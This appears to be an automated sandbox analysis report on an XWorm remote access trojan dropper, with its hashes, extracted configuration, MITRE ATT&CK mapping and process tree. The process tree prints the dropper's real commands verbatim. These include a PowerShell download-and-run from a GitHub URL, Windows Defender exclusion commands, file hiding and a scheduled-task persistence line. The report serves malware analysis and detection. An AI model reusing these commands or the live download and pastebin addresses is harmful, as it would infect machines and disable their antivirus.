xworm | ac74bb9370b5d6eff52190fe5767a21e6c3083e370b66506cc249a30d074f768

Analysis

max time kernel
96s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
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02/03/2025, 21:21

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General

Target

Main.bat
Size

458B
MD5

7fe7990fe96629419bef8f2b22415163
SHA1

a147bd40dd7a0465bbce96282af8d3cb1a11b57d
SHA256

ac74bb9370b5d6eff52190fe5767a21e6c3083e370b66506cc249a30d074f768
SHA512

5d8d925e133e7cc33cdb154cc596c40be7e1d8e9438e640f6e3128ba50b1ad1af5ebde614edfa54d45de436168949e08b1deec0b983b7314dc407f595b709754

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

sSk9v0A6er9oWjcu

Attributes

Install_directory
%AppData%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/6EU9ps8S

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000b000000023ba1-33.dat	family_xworm
behavioral1/memory/2260-35-0x0000000000730000-0x0000000000758000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	1184	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
952	powershell.exe
792	powershell.exe
2276	powershell.exe
4780	powershell.exe
3992	powershell.exe
1184	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
12	1184	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	main.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	main.exe

Executes dropped EXE 3 IoCs

pid	Process
2260	main.exe
2668	svchost.exe
4832	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	main.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
12	raw.githubusercontent.com
28	pastebin.com
29	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4584	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1184	powershell.exe
1184	powershell.exe
952	powershell.exe
952	powershell.exe
792	powershell.exe
792	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
4780	powershell.exe
4780	powershell.exe
3992	powershell.exe
3992	powershell.exe
2260	main.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	2260	main.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	2260	main.exe
Token: SeDebugPrivilege	2668	svchost.exe
Token: SeDebugPrivilege	4832	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2260	main.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 244 wrote to memory of 1184	244	cmd.exe	87
PID 244 wrote to memory of 1184	244	cmd.exe	87
PID 244 wrote to memory of 952	244	cmd.exe	91
PID 244 wrote to memory of 952	244	cmd.exe	91
PID 244 wrote to memory of 1344	244	cmd.exe	94
PID 244 wrote to memory of 1344	244	cmd.exe	94
PID 244 wrote to memory of 2260	244	cmd.exe	95
PID 244 wrote to memory of 2260	244	cmd.exe	95
PID 2260 wrote to memory of 792	2260	main.exe	98
PID 2260 wrote to memory of 792	2260	main.exe	98
PID 2260 wrote to memory of 2276	2260	main.exe	101
PID 2260 wrote to memory of 2276	2260	main.exe	101
PID 2260 wrote to memory of 4780	2260	main.exe	103
PID 2260 wrote to memory of 4780	2260	main.exe	103
PID 2260 wrote to memory of 3992	2260	main.exe	105
PID 2260 wrote to memory of 3992	2260	main.exe	105
PID 2260 wrote to memory of 4584	2260	main.exe	108
PID 2260 wrote to memory of 4584	2260	main.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1344	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Main.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/udx177/Main/refs/heads/main/main.exe -OutFile C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\main.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:952
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Views/modifies file attributes
  PID:1344
- C:\Users\Admin\AppData\Local\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\main.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'main.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3992
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4584

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2668

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6fc4344466f226c5c34911902c2da322

SHA1
a978b32a1b8be065212a8d4783971ba5a03d8592

SHA256
86df6ada7287842923c94383bf75741a9899208b18ac2e39093163ae5f614b5e

SHA512
bf2e4e6f3f5e48960f9cca9f397c20e86ab7f407322b6bbdb24204bc0bbd722a6a58385daa7d2972f8cbc1cf13aaee49dec206359a5292050bb4a468d60946ee

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
83685d101174171875b4a603a6c2a35c

SHA1
37be24f7c4525e17fa18dbd004186be3a9209017

SHA256
0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870

SHA512
005a97a8e07b1840abdcef86a7881fd9bdc8acbfdf3eafe1dceb6374060626d81d789e57d87ca4096a39e28d5cca00f8945edff0a747591691ae75873d2b3fb5

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d14ccefeb263594e60b1765e131f7a3

SHA1
4a9ebdc0dff58645406c40b7b140e1b174756721

SHA256
57cd435c8b2bf10a2c77698301789c032e1b6b623ff1420c72e8bca0b10f1e5c

SHA512
2013a26123f72a4106524fd9d7389ac4654f97033d22707efc084fb2a3ad01c298eb64f01bb64861ab603615022dbe7cfc97475346edb16b3ba72e905127f101

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
97bcb22985b317b8bbb8f06a11a1a52f

SHA1
035cd9359af2c88489516458c39f42f26665ae81

SHA256
f3bc2dd9498ea38cb9b79eab3d8b97f9f71e3662140a965f9c9610fba290715a

SHA512
1dc1d38e1615586965f0b8adcad0b692d952b46f3b5fd7f13598214ffbab36abcc5b9ecd9ff9164865c07acee5ee592fce48892069f5288ce19d77f97e4ff118

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j00rogwf.bmi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\main.exe

Filesize
137KB

MD5
57b5cb85b2b1f1a47106577864c6d0ac

SHA1
8b2c814f07c643a0e84b918c9f927fcd796409dd

SHA256
0bb30d453bca585126df4a0bd3aaa1ef8b8f7bbf6cf894f2caa6b23f2d5697b7

SHA512
f12e9763e51ae95b4a184c989953693f2bb9c3959d9d69d1164b782c54253b0df4a063b767eb818f1b32f39dfe2ef052cb0ee3d5881345fe30f320d0f857f0be

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memory/952-19-0x00007FFAF18E0000-0x00007FFAF23A1000-memory.dmp

Filesize
10.8MB

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memory/952-32-0x00007FFAF18E0000-0x00007FFAF23A1000-memory.dmp

Filesize
10.8MB

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memory/952-29-0x00007FFAF18E0000-0x00007FFAF23A1000-memory.dmp

Filesize
10.8MB

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memory/952-18-0x00007FFAF18E0000-0x00007FFAF23A1000-memory.dmp

Filesize
10.8MB

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memory/1184-11-0x00007FFAF18E0000-0x00007FFAF23A1000-memory.dmp

Filesize
10.8MB

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memory/1184-16-0x00007FFAF18E0000-0x00007FFAF23A1000-memory.dmp

Filesize
10.8MB

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memory/1184-0-0x00007FFAF18E3000-0x00007FFAF18E5000-memory.dmp

Filesize
8KB

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memory/1184-12-0x00007FFAF18E0000-0x00007FFAF23A1000-memory.dmp

Filesize
10.8MB

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memory/1184-1-0x00000165399C0000-0x00000165399E2000-memory.dmp

Filesize
136KB

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memory/2260-35-0x0000000000730000-0x0000000000758000-memory.dmp

Filesize
160KB

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memory/3992-81-0x0000026770840000-0x0000026770A5C000-memory.dmp

Filesize
2.1MB

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memory/4780-69-0x000001A624F80000-0x000001A62519C000-memory.dmp

Filesize
2.1MB

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